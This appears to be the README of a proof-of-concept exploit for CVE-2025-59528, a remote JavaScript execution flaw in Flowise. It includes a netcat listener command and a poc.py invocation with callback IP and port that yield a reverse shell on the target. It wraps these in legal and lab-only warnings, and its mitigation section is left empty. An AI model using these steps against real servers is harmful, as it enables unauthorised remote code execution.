
O PoC do CVE-2025-59528
Prova de Conceito para pesquisar CVE-2025-59528 em um ambiente de laboratório isolado.
[!WARNING] AVISO LEGAL
Este projeto destina-se estritamente a fins educacionais, pesquisa de segurança e testes em sistemas que você possui ou para os quais possui autorização explícita para testar.
Não use este PoC contra servidores de terceiros, serviços públicos ou infraestrutura sem a permissão do proprietário.
O autor não é responsável por quaisquer danos, perda de dados, interrupção de serviço ou consequências legais resultantes do uso indevido deste projeto.
Este PoC demonstra o impacto potencial de CVE-2025-59528, uma vulnerabilidade que envolve o processamento de mcpServerConfig controlado pelo usuário no Flowise.
Sob certas condições, a vulnerabilidade pode permitir que um atacante execute código JavaScript arbitrário no contexto do servidor.
Sempre verifique a versão exata da instalação de destino antes de testar.
requestsInstale a dependência Python:
pip install requests
Execute o netcat para obter um shell:
nc -lvnp <YOUR_PORT>
Execute o PoC com:
python3 poc.py \
-t http://TARGET:PORT \
-o api_key \
-i CALLBACK_IP \
-p CALLBACK_PORT
| Argument | Description |
|---|---|
-t, --target | URL da instância de teste Flowise |
-o, --api_key | Chave da API |
-i, --ip | Endereço IP da máquina de teste |
-p, --port | Porta usada pelo ambiente de teste |
Os testes devem ser realizados dentro de uma rede virtual ou de laboratório isolada.
┌──────────────────┐
│ PoC Machine │
│ │
│ Python PoC │
└────────┬─────────┘
│
│ Isolated Network
│
┌────────▼─────────┐
│ Flowise 3.0.5 │
│ Test Instance │
└──────────────────┘
Não exponha uma instância do Flowise intencionalmente vulnerável diretamente à Internet pública.
Se você estiver executando uma versão afetada do Flowise:
Ao usar este projeto, você reconhece que é o único responsável por cumprir todas as leis e regulamentos aplicáveis.
Use este PoC somente contra sistemas que você possui ou sistemas para os quais você possui autorização explícita para realizar testes de segurança.